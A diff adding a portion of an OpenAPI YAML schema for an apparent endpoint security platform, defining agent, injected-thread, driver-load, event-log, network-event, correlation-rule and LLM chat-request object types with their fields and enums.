+        type: string
+        x-nullable: true
+      driver_enabled:
+        readOnly: true
+        title: Driver enabled
+        type: boolean
+        x-nullable: true
+      driver_policy:
+        readOnly: true
+        title: Driver policy
+        type: boolean
+        x-nullable: true
+      driver_version:
+        minLength: 1
+        readOnly: true
+        title: Driver version
+        type: string
+        x-nullable: true
+      effective_antivirus_policy_id:
+        minLength: 1
+        readOnly: true
+        title: Effective antivirus policy id
+        type: string
+        x-nullable: true
+      effective_antivirus_policy_revision:
+        readOnly: true
+        title: Effective antivirus policy revision
+        type: integer
+        x-nullable: true
+      effective_antivirus_profile_id:
+        readOnly: true
+        title: Effective antivirus profile id
+        type: string
+      effective_antivirus_profile_revision:
+        readOnly: true
+        title: Effective antivirus profile revision
+        type: integer
+      effective_correlation_revision:
+        readOnly: true
+        title: Effective correlation revision
+        type: integer
+        x-nullable: true
+      effective_device_control_policy_id:
+        minLength: 1
+        readOnly: true
+        title: Effective device control policy id
+        type: string
+        x-nullable: true
+      effective_device_control_policy_revision:
+        readOnly: true
+        title: Effective device control policy revision
+        type: integer
+        x-nullable: true
+      effective_driver_blocklists_revision:
+        readOnly: true
+        title: Effective driver blocklists revision
+        type: integer
+        x-nullable: true
+      effective_fim_policy_id:
+        minLength: 1
+        readOnly: true
+        title: Effective fim policy id
+        type: string
+        x-nullable: true
+      effective_fim_policy_revision:
+        readOnly: true
+        title: Effective fim policy revision
+        type: integer
+        x-nullable: true
+      effective_firewall_policy_id:
+        minLength: 1
+        readOnly: true
+        title: Effective firewall policy id
+        type: string
+        x-nullable: true
+      effective_firewall_policy_revision:
+        readOnly: true
+        title: Effective firewall policy revision
+        type: integer
+        x-nullable: true
+      effective_ioc_revision:
+        readOnly: true
+        title: Effective ioc revision
+        type: integer
+        x-nullable: true
+      effective_policy_id:
+        minLength: 1
+        readOnly: true
+        title: Effective policy id
+        type: string
+        x-nullable: true
+      effective_policy_revision:
+        readOnly: true
+        title: Effective policy revision
+        type: integer
+        x-nullable: true
+      effective_sigma_revision:
+        readOnly: true
+        title: Effective sigma revision
+        type: integer
+        x-nullable: true
+      effective_usb_device_control_revision:
+        readOnly: true
+        title: Effective usb device control revision
+        type: integer
+        x-nullable: true
+      effective_whitelist_revision:
+        readOnly: true
+        title: Effective whitelist revision
+        type: integer
+        x-nullable: true
+      effective_yara_revision:
+        readOnly: true
+        title: Effective yara revision
+        type: integer
+        x-nullable: true
+      encrypted_disk_count:
+        readOnly: true
+        title: Encrypted disk count
+        type: integer
+      entra_device_id:
+        minLength: 1
+        title: Entra device id
+        type: string
+        x-nullable: true
+      entra_join_type:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Entra join type
+        type: integer
+        x-nullable: true
+      entra_tenant_id:
+        minLength: 1
+        title: Entra tenant id
+        type: string
+        x-nullable: true
+      external_ipaddress:
+        minLength: 1
+        readOnly: true
+        title: External ipaddress
+        type: string
+        x-nullable: true
+      firstseen:
+        format: date-time
+        readOnly: true
+        title: Firstseen
+        type: string
+        x-nullable: true
+      group_count:
+        title: Group count
+        type: integer
+      groups:
+        items:
+          $ref: '#/definitions/BasicGroup'
+        readOnly: true
+        type: array
+      hardware_address:
+        minLength: 1
+        readOnly: true
+        title: Hardware address
+        type: string
+        x-nullable: true
+      has_valid_password:
+        readOnly: true
+        title: Has valid password
+        type: boolean
+      hostname:
+        minLength: 1
+        readOnly: true
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      installation_config:
+        readOnly: true
+        title: Installation config
+        type: object
+      installdate:
+        minLength: 1
+        readOnly: true
+        title: Installdate
+        type: string
+        x-nullable: true
+      interface_count:
+        readOnly: true
+        title: Interface count
+        type: integer
+      ipaddress:
+        minLength: 1
+        readOnly: true
+        title: Ipaddress
+        type: string
+        x-nullable: true
+      ipmask:
+        minLength: 1
+        readOnly: true
+        title: Ipmask
+        type: string
+        x-nullable: true
+      is_obsolete:
+        readOnly: true
+        title: Is obsolete
+        type: boolean
+      is_ppl_antimalware:
+        readOnly: true
+        title: Is ppl antimalware
+        type: boolean
+        x-nullable: true
+      isolation_policy:
+        readOnly: true
+        title: Isolation policy
+        type: boolean
+        x-nullable: true
+      isolation_state:
+        default: false
+        title: Isolation state
+        type: boolean
+      last_upgrade_attempt:
+        format: date-time
+        readOnly: true
+        title: Last upgrade attempt
+        type: string
+        x-nullable: true
+      last_upgrade_success:
+        format: date-time
+        readOnly: true
+        title: Last upgrade success
+        type: string
+        x-nullable: true
+      lastseen:
+        format: date-time
+        readOnly: true
+        title: Lastseen
+        type: string
+        x-nullable: true
+      lastseen_error:
+        format: date-time
+        readOnly: true
+        title: Lastseen error
+        type: string
+        x-nullable: true
+      lastseen_warning:
+        format: date-time
+        readOnly: true
+        title: Lastseen warning
+        type: string
+        x-nullable: true
+      latest_vulnscan_date:
+        format: date-time
+        readOnly: true
+        title: Latest vulnscan date
+        type: string
+        x-nullable: true
+      local_admin_count:
+        readOnly: true
+        title: Local admin count
+        type: integer
+      local_group_count:
+        readOnly: true
+        title: Local group count
+        type: integer
+      local_user_count:
+        readOnly: true
+        title: Local user count
+        type: integer
+      machine_account_sid:
+        minLength: 1
+        title: Machine account sid
+        type: string
+        x-nullable: true
+      machine_boottime:
+        format: date-time
+        readOnly: true
+        title: Machine boottime
+        type: string
+        x-nullable: true
+      machine_serial:
+        minLength: 1
+        readOnly: true
+        title: Machine serial
+        type: string
+        x-nullable: true
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      os_install_date:
+        format: date-time
+        readOnly: true
+        title: Os install date
+        type: string
+      osbuild:
+        readOnly: true
+        title: Osbuild
+        type: integer
+        x-nullable: true
+      osid:
+        minLength: 1
+        readOnly: true
+        title: Osid
+        type: string
+        x-nullable: true
+      osmajor:
+        readOnly: true
+        title: Osmajor
+        type: integer
+        x-nullable: true
+      osminor:
+        readOnly: true
+        title: Osminor
+        type: integer
+        x-nullable: true
+      osproducttype:
+        minLength: 1
+        readOnly: true
+        title: Osproducttype
+        type: string
+        x-nullable: true
+      osrevision:
+        readOnly: true
+        title: Osrevision
+        type: integer
+        x-nullable: true
+      ostype:
+        minLength: 1
+        readOnly: true
+        title: Ostype
+        type: string
+        x-nullable: true
+      osversion:
+        minLength: 1
+        readOnly: true
+        title: Osversion
+        type: string
+        x-nullable: true
+      pinned_version:
+        minLength: 1
+        readOnly: true
+        title: Pinned version
+        type: string
+        x-nullable: true
+      policy:
+        $ref: '#/definitions/PolicyAgentDetails'
+      policy_set:
+        $ref: '#/definitions/PolicySetPolicies'
+      producttype:
+        minLength: 1
+        readOnly: true
+        title: Producttype
+        type: string
+        x-nullable: true
+      quarantine_file_count:
+        readOnly: true
+        title: Quarantine file count
+        type: integer
+      quarantine_last_update:
+        format: date-time
+        readOnly: true
+        title: Quarantine last update
+        type: string
+        x-nullable: true
+      refresh_properties_status:
+        enum:
+          - ERROR
+          - requesting_agent
+          - update_processing
+          - update_queued
+        readOnly: true
+        title: Refresh properties status
+        type: string
+        x-nullable: true
+      refresh_quarantine_status:
+        enum:
+          - ERROR
+          - requesting_agent
+          - update_processing
+          - update_queued
+        readOnly: true
+        title: Refresh quarantine status
+        type: string
+        x-nullable: true
+      rollback_version:
+        minLength: 1
+        readOnly: true
+        title: Rollback version
+        type: string
+        x-nullable: true
+      run_policy_automation:
+        title: Run policy automation
+        type: boolean
+        x-nullable: true
+      servicepack:
+        minLength: 1
+        readOnly: true
+        title: Servicepack
+        type: string
+        x-nullable: true
+      should_change_id:
+        default: false
+        readOnly: true
+        title: Should change id
+        type: boolean
+      starttime:
+        format: date-time
+        readOnly: true
+        title: Starttime
+        type: string
+      status:
+        enum:
+          - access_denied
+          - idle
+          - offline
+          - online
+        readOnly: true
+        title: Status
+        type: string
+      subnet:
+        $ref: '#/definitions/SimpleSubnet'
+      task_statuses:
+        additionalProperties:
+          additionalProperties:
+            type: boolean
+          type: object
+        readOnly: true
+        title: Task statuses
+        type: object
+      telemetry:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        readOnly: true
+        title: Telemetry
+        type: object
+      telemetry_last_update:
+        format: date-time
+        readOnly: true
+        title: Telemetry last update
+        type: string
+        x-nullable: true
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      total_memory:
+        readOnly: true
+        title: Total memory
+        type: number
+        x-nullable: true
+      uninstall_status:
+        readOnly: true
+        title: Uninstall status
+        type: integer
+        x-nullable: true
+      update_status:
+        readOnly: true
+        title: Update status
+        type: integer
+        x-nullable: true
+      upgrade_consecutive_fail_count:
+        readOnly: true
+        title: Upgrade consecutive fail count
+        type: integer
+        x-nullable: true
+      upgrade_failure_reason:
+        minLength: 1
+        readOnly: true
+        title: Upgrade failure reason
+        type: string
+        x-nullable: true
+      upgrade_status:
+        enum:
+          - agent_lost
+          - canceled
+          - done
+          - failed
+          - in_progress
+          - pending
+        readOnly: true
+        title: Upgrade status
+        type: string
+        x-nullable: true
+      vdi_mode:
+        enum:
+          - hostname
+          - mac
+          - mac_and_hostname
+          - unknown
+        readOnly: true
+        title: Vdi mode
+        type: string
+      version:
+        minLength: 1
+        readOnly: true
+        title: Version
+        type: string
+        x-nullable: true
+      windows_groups_last_update:
+        format: date-time
+        readOnly: true
+        title: Windows groups last update
+        type: string
+        x-nullable: true
+      windows_users_last_update:
+        format: date-time
+        readOnly: true
+        title: Windows users last update
+        type: string
+        x-nullable: true
+    required:
+      - id
+    type: object
+  IndexedKeyValueDoc:
+    properties:
+      key:
+        minLength: 1
+        title: Key
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+    required:
+      - key
+      - value
+    type: object
+  IndexedPEInfo:
+    properties:
+      authentihashes:
+        $ref: '#/definitions/Authentihashes'
+      company_name:
+        minLength: 1
+        title: Company name
+        type: string
+      file_description:
+        minLength: 1
+        title: File description
+        type: string
+      file_version:
+        minLength: 1
+        title: File version
+        type: string
+      internal_name:
+        minLength: 1
+        title: Internal name
+        type: string
+      legal_copyright:
+        minLength: 1
+        title: Legal copyright
+        type: string
+      original_filename:
+        minLength: 1
+        title: Original filename
+        type: string
+      pe_timestamp:
+        format: date-time
+        title: Pe timestamp
+        type: string
+      product_name:
+        minLength: 1
+        title: Product name
+        type: string
+      product_version:
+        minLength: 1
+        title: Product version
+        type: string
+    required:
+      - authentihashes
+      - company_name
+      - file_description
+      - file_version
+      - internal_name
+      - legal_copyright
+      - original_filename
+      - pe_timestamp
+      - product_name
+      - product_version
+    type: object
+  Info:
+    properties:
+      display_name:
+        minLength: 1
+        title: Display name
+        type: string
+      issuer_name:
+        minLength: 1
+        title: Issuer name
+        type: string
+      not_after:
+        format: date-time
+        title: Not after
+        type: string
+      not_before:
+        format: date-time
+        title: Not before
+        type: string
+      serial_number:
+        minLength: 1
+        title: Serial number
+        type: string
+      thumbprint:
+        minLength: 1
+        title: Thumbprint
+        type: string
+      thumbprint_sha256:
+        minLength: 1
+        title: Thumbprint sha256
+        type: string
+    required:
+      - display_name
+      - issuer_name
+      - not_after
+      - not_before
+      - serial_number
+      - thumbprint
+      - thumbprint_sha256
+    type: object
+  InfoPermissions:
+    properties:
+      drivers:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Drivers
+        type: string
+      list_directory_contents:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: List directory contents
+        type: string
+      network_shares:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Network shares
+        type: string
+      pip_list:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Pip list
+        type: string
+      processes:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Processes
+        type: string
+      sessions:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Sessions
+        type: string
+      windows_kb:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Windows kb
+        type: string
+    required:
+      - drivers
+      - list_directory_contents
+      - network_shares
+      - pip_list
+      - processes
+      - sessions
+      - windows_kb
+    type: object
+  InjectedThread:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      region_allocation_base:
+        title: Region allocation base
+        type: integer
+      region_allocation_protect:
+        title: Region allocation protect
+        type: integer
+      region_allocation_size:
+        title: Region allocation size
+        type: integer
+      region_base_address:
+        title: Region base address
+        type: integer
+      region_dump:
+        minLength: 1
+        title: Region dump
+        type: string
+      region_dump_base:
+        title: Region dump base
+        type: integer
+      region_protect:
+        title: Region protect
+        type: integer
+      region_sha256:
+        minLength: 1
+        title: Region sha256
+        type: string
+      region_size:
+        title: Region size
+        type: integer
+      region_state:
+        title: Region state
+        type: integer
+      region_type:
+        title: Region type
+        type: integer
+      source_image:
+        minLength: 1
+        title: Source image
+        type: string
+      source_process_guid:
+        minLength: 1
+        title: Source process guid
+        type: string
+      source_process_id:
+        title: Source process id
+        type: integer
+      source_thread_id:
+        title: Source thread id
+        type: integer
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      start_address:
+        title: Start address
+        type: integer
+      start_address_string:
+        minLength: 1
+        title: Start address string
+        type: string
+      target_image:
+        minLength: 1
+        title: Target image
+        type: string
+      target_process_guid:
+        minLength: 1
+        title: Target process guid
+        type: string
+      target_process_id:
+        title: Target process id
+        type: integer
+      target_thread_id:
+        title: Target thread id
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      thread_dump:
+        minLength: 1
+        title: Thread dump
+        type: string
+      thread_sha256:
+        minLength: 1
+        title: Thread sha256
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - groups
+      - id
+      - log_type
+      - region_allocation_base
+      - region_allocation_protect
+      - region_allocation_size
+      - region_base_address
+      - region_dump
+      - region_dump_base
+      - region_protect
+      - region_sha256
+      - region_size
+      - region_state
+      - region_type
+      - source_image
+      - source_process_guid
+      - source_process_id
+      - source_thread_id
+      - stacktrace
+      - stacktrace_minimal
+      - start_address
+      - start_address_string
+      - target_image
+      - target_process_guid
+      - target_process_id
+      - target_thread_id
+      - tenant
+      - thread_dump
+      - thread_sha256
+      - username
+      - utc_time
+    type: object
+  InnerAgent:
+    properties:
+      additional_info:
+        $ref: '#/definitions/InnerAgentAdditionalInfo'
+      agentid:
+        minLength: 1
+        title: Agentid
+        type: string
+      distroid:
+        minLength: 1
+        title: Distroid
+        type: string
+      dnsdomainname:
+        minLength: 1
+        title: Dnsdomainname
+        type: string
+      domain:
+        minLength: 1
+        title: Domain
+        type: string
+      domainname:
+        minLength: 1
+        title: Domainname
+        type: string
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+      ipaddress:
+        minLength: 1
+        title: Ipaddress
+        type: string
+      osproducttype:
+        minLength: 1
+        title: Osproducttype
+        type: string
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+      osversion:
+        minLength: 1
+        title: Osversion
+        type: string
+      producttype:
+        minLength: 1
+        title: Producttype
+        type: string
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - additional_info
+      - agentid
+      - distroid
+      - dnsdomainname
+      - domain
+      - domainname
+      - hostname
+      - ipaddress
+      - osproducttype
+      - ostype
+      - osversion
+      - producttype
+      - version
+    type: object
+  InnerAgentAdditionalInfo:
+    properties:
+      additional_info1:
+        minLength: 1
+        title: Additional info1
+        type: string
+      additional_info2:
+        minLength: 1
+        title: Additional info2
+        type: string
+      additional_info3:
+        minLength: 1
+        title: Additional info3
+        type: string
+      additional_info4:
+        minLength: 1
+        title: Additional info4
+        type: string
+    required:
+      - additional_info1
+      - additional_info2
+      - additional_info3
+      - additional_info4
+    type: object
+  InnerChatFeedback:
+    properties:
+      comment:
+        title: Comment
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      score:
+        maximum: 1.0
+        minimum: -1.0
+        title: Score
+        type: number
+        x-nullable: true
+      submitted:
+        readOnly: true
+        title: Submitted
+        type: boolean
+    type: object
+  InnerChatRequest:
+    properties:
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      enforce_tool:
+        description: Force the LLM to use a specific tool
+        enum:
+          - agent_list
+          - analyze_security_event
+          - driver_block_list
+          - ioc
+          - powershell
+          - security_event_list
+          - sigma
+          - threat_list
+          - yara
+        title: Enforce tool
+        type: string
+        x-nullable: true
+      feedback:
+        $ref: '#/definitions/InnerChatFeedback'
+      id:
+        format: uuid
+        title: Id
+        type: string
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      locations:
+        items:
+          $ref: '#/definitions/AppLocationRead'
+        type: array
+      message:
+        title: Message
+        type: string
+      response:
+        title: Response
+        type: string
+        x-nullable: true
+      response_failed:
+        title: Response failed
+        type: boolean
+      response_finished:
+        title: Response finished
+        type: boolean
+      response_urls:
+        description: List of external URLs that are relevant to the response
+        items:
+          minLength: 1
+          title: Response urls
+          type: string
+        type: array
+        x-nullable: true
+      steps:
+        description: List of steps the LLM went through to answer the request
+        items:
+          minLength: 1
+          title: Steps
+          type: string
+        type: array
+        x-nullable: true
+      user:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+    required:
+      - id
+      - locations
+    type: object
+  InnerCorrelationRule:
+    properties:
+      creation_date:
+        format: date
+        title: Creation date
+        type: string
+        x-nullable: true
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      hl_silent:
+        title: Hl silent
+        type: boolean
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        title: Hl status
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Level
+        type: string
+        x-nullable: true
+      modified_date:
+        format: date
+        title: Modified date
+        type: string
+        x-nullable: true
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        maxLength: 64
+        minLength: 1
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      raw_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Raw tags
+          type: string
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      status:
+        title: Status
+        type: string
+        x-nullable: true
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - id
+      - name
+    type: object
+  InnerDriverLoad:
+    properties:
+      agent:
+        $ref: '#/definitions/IndexedInnerAgent'
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      hashes:
+        $ref: '#/definitions/Hashes'
+      imagebase:
+        title: Imagebase
+        type: integer
+      imagename:
+        minLength: 1
+        title: Imagename
+        type: string
+      imagepath:
+        minLength: 1
+        title: Imagepath
+        type: string
+      imagesize:
+        title: Imagesize
+        type: integer
+      ioc_type:
+        minLength: 1
+        title: Ioc type
+        type: string
+      ioc_uuid:
+        minLength: 1
+        title: Ioc uuid
+        type: string
+      ioc_value:
+        minLength: 1
+        title: Ioc value
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      matched_rules:
+        $ref: '#/definitions/MatchedYaraRule'
+      matched_rules_count:
+        title: Matched rules count
+        type: integer
+      pe_imphash:
+        minLength: 1
+        title: Pe imphash
+        type: string
+      pe_info:
+        $ref: '#/definitions/IndexedPEInfo'
+      pe_timestamp:
+        format: date-time
+        title: Pe timestamp
+        type: string
+      pe_timestamp_int:
+        title: Pe timestamp int
+        type: integer
+      rule_revision:
+        title: Rule revision
+        type: integer
+      score:
+        title: Score
+        type: number
+      sigma_rule_content:
+        minLength: 1
+        title: Sigma rule content
+        type: string
+      signature_info:
+        $ref: '#/definitions/SignatureInfo'
+      signed:
+        title: Signed
+        type: boolean
+      size:
+        title: Size
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - agent
+      - groups
+      - hashes
+      - imagebase
+      - imagename
+      - imagepath
+      - imagesize
+      - ioc_type
+      - ioc_uuid
+      - ioc_value
+      - log_type
+      - matched_rules
+      - matched_rules_count
+      - pe_imphash
+      - pe_info
+      - pe_timestamp
+      - pe_timestamp_int
+      - rule_revision
+      - score
+      - sigma_rule_content
+      - signature_info
+      - signed
+      - size
+      - tenant
+    type: object
+  InnerEventLog:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      computer_name:
+        minLength: 1
+        title: Computer name
+        type: string
+      event_data:
+        items:
+          $ref: '#/definitions/IndexedKeyValueDoc'
+        type: array
+      event_date:
+        format: date-time
+        title: Event date
+        type: string
+      event_id:
+        title: Event id
+        type: integer
+      keywords:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      level:
+        minLength: 1
+        title: Level
+        type: string
+      log_name:
+        minLength: 1
+        title: Log name
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      pid:
+        title: Pid
+        type: integer
+      process_id:
+        title: Process id
+        type: integer
+      process_image_path:
+        minLength: 1
+        title: Process image path
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      provider_guid:
+        minLength: 1
+        title: Provider guid
+        type: string
+      record_number:
+        title: Record number
+        type: integer
+      sigma_rule_content:
+        minLength: 1
+        title: Sigma rule content
+        type: string
+      source_name:
+        minLength: 1
+        title: Source name
+        type: string
+      thread_id:
+        title: Thread id
+        type: integer
+      threat_process_name:
+        minLength: 1
+        title: Threat process name
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      user:
+        $ref: '#/definitions/IndexedEventUser'
+      user_data:
+        items:
+          $ref: '#/definitions/IndexedKeyValueDoc'
+        type: array
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - computer_name
+      - event_data
+      - event_date
+      - event_id
+      - keywords
+      - level
+      - log_name
+      - log_type
+      - pid
+      - process_id
+      - process_image_path
+      - process_unique_id
+      - provider_guid
+      - record_number
+      - sigma_rule_content
+      - source_name
+      - thread_id
+      - threat_process_name
+      - type
+      - user
+      - user_data
+    type: object
+  InnerFeedback:
+    properties:
+      comment:
+        title: Comment
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      score:
+        maximum: 1.0
+        minimum: -1.0
+        title: Score
+        type: number
+        x-nullable: true
+      submitted:
+        readOnly: true
+        title: Submitted
+        type: boolean
+    type: object
+  InnerGroup:
+    properties:
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - id
+      - name
+    type: object
+  InnerGroupEvent:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      group_id:
+        minLength: 1
+        title: Group id
+        type: string
+      group_name:
+        minLength: 1
+        title: Group name
+        type: string
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      member_id:
+        minLength: 1
+        title: Member id
+        type: string
+      member_name:
+        minLength: 1
+        title: Member name
+        type: string
+      operation_type:
+        minLength: 1
+        title: Operation type
+        type: string
+      source_domain_name:
+        minLength: 1
+        title: Source domain name
+        type: string
+      source_user_id:
+        minLength: 1
+        title: Source user id
+        type: string
+      source_user_name:
+        minLength: 1
+        title: Source user name
+        type: string
+      target_domain_name:
+        minLength: 1
+        title: Target domain name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      windows:
+        $ref: '#/definitions/GroupEventWindows'
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - group_id
+      - group_name
+      - groups
+      - log_type
+      - member_id
+      - member_name
+      - operation_type
+      - source_domain_name
+      - source_user_id
+      - source_user_name
+      - target_domain_name
+      - tenant
+      - windows
+    type: object
+  InnerInjectedThread:
+    properties:
+      agent:
+        $ref: '#/definitions/IndexedInnerAgent'
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      matched_rules:
+        $ref: '#/definitions/MatchedYaraRule'
+      matched_rules_count:
+        title: Matched rules count
+        type: integer
+      region_allocation_base:
+        title: Region allocation base
+        type: integer
+      region_allocation_protect:
+        title: Region allocation protect
+        type: integer
+      region_allocation_size:
+        title: Region allocation size
+        type: integer
+      region_base_address:
+        title: Region base address
+        type: integer
+      region_dump:
+        minLength: 1
+        title: Region dump
+        type: string
+      region_dump_base:
+        title: Region dump base
+        type: integer
+      region_protect:
+        title: Region protect
+        type: integer
+      region_sha256:
+        minLength: 1
+        title: Region sha256
+        type: string
+      region_size:
+        title: Region size
+        type: integer
+      region_state:
+        title: Region state
+        type: integer
+      region_type:
+        title: Region type
+        type: integer
+      rule_revision:
+        title: Rule revision
+        type: integer
+      score:
+        title: Score
+        type: number
+      source_image:
+        minLength: 1
+        title: Source image
+        type: string
+      source_process_guid:
+        minLength: 1
+        title: Source process guid
+        type: string
+      source_process_id:
+        title: Source process id
+        type: integer
+      source_thread_id:
+        title: Source thread id
+        type: integer
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      start_address:
+        title: Start address
+        type: integer
+      start_address_string:
+        minLength: 1
+        title: Start address string
+        type: string
+      target_image:
+        minLength: 1
+        title: Target image
+        type: string
+      target_process_guid:
+        minLength: 1
+        title: Target process guid
+        type: string
+      target_process_id:
+        title: Target process id
+        type: integer
+      target_thread_id:
+        title: Target thread id
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      thread_dump:
+        minLength: 1
+        title: Thread dump
+        type: string
+      thread_sha256:
+        minLength: 1
+        title: Thread sha256
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+    required:
+      - agent
+      - groups
+      - log_type
+      - matched_rules
+      - matched_rules_count
+      - region_allocation_base
+      - region_allocation_protect
+      - region_allocation_size
+      - region_base_address
+      - region_dump
+      - region_dump_base
+      - region_protect
+      - region_sha256
+      - region_size
+      - region_state
+      - region_type
+      - rule_revision
+      - score
+      - source_image
+      - source_process_guid
+      - source_process_id
+      - source_thread_id
+      - stacktrace
+      - stacktrace_minimal
+      - start_address
+      - start_address_string
+      - target_image
+      - target_process_guid
+      - target_process_id
+      - target_thread_id
+      - tenant
+      - thread_dump
+      - thread_sha256
+      - utc_time
+    type: object
+  InnerNetwork:
+    properties:
+      agent:
+        $ref: '#/definitions/IndexedInnerAgent'
+      conn_type:
+        title: Conn type
+        type: integer
+      connection_closed_time:
+        format: date-time
+        title: Connection closed time
+        type: string
+      connection_start_time:
+        format: date-time
+        title: Connection start time
+        type: string
+      connection_successful:
+        title: Connection successful
+        type: boolean
+      connection_unique_id:
+        minLength: 1
+        title: Connection unique id
+        type: string
+      daddr:
+        minLength: 1
+        title: Daddr
+        type: string
+      daddr_geoip:
+        $ref: '#/definitions/GeoIP'
+      direction:
+        minLength: 1
+        title: Direction
+        type: string
+      dnames:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      dport:
+        title: Dport
+        type: integer
+      event_id:
+        title: Event id
+        type: integer
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      image_name:
+        minLength: 1
+        title: Image name
+        type: string
+      incoming_bytes:
+        title: Incoming bytes
+        type: integer
+      incoming_protocol:
+        $ref: '#/definitions/ApplicationProtocol'
+      initiated:
+        title: Initiated
+        type: boolean
+      is_ipv6:
+        title: Is ipv6
+        type: boolean
+      kind:
+        minLength: 1
+        title: Kind
+        type: string
+      outgoing_bytes:
+        title: Outgoing bytes
+        type: integer
+      outgoing_protocol:
+        $ref: '#/definitions/ApplicationProtocol'
+      pid:
+        title: Pid
+        type: integer
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      saddr:
+        minLength: 1
+        title: Saddr
+        type: string
+      saddr_geoip:
+        $ref: '#/definitions/GeoIP'
+      sport:
+        title: Sport
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+    required:
+      - agent
+      - conn_type
+      - connection_closed_time
+      - connection_start_time
+      - connection_successful
+      - connection_unique_id
+      - daddr
+      - daddr_geoip
+      - direction
+      - dnames
+      - dport
+      - event_id
+      - groups
+      - image_name
+      - incoming_bytes
+      - incoming_protocol
+      - initiated
+      - is_ipv6
+      - kind
+      - outgoing_bytes
+      - outgoing_protocol
+      - pid
+      - process_unique_id
+      - saddr
+      - saddr_geoip
+      - sport
+      - tenant
+      - timestamp
+      - username
+    type: object
+  InnerPassword:
+    properties:
+      codes:
+        items:
+          enum:
+            - password_entirely_numeric
+            - password_too_common
+            - password_too_few_lowercase
+            - password_too_few_numeric
+            - password_too_few_special
+            - password_too_few_uppercase
+            - password_too_short
+            - password_too_similar
+          type: string
+        readOnly: true
+        type: array
+      config:
+        items:
+          minLength: 1
+          type: string
+        readOnly: true
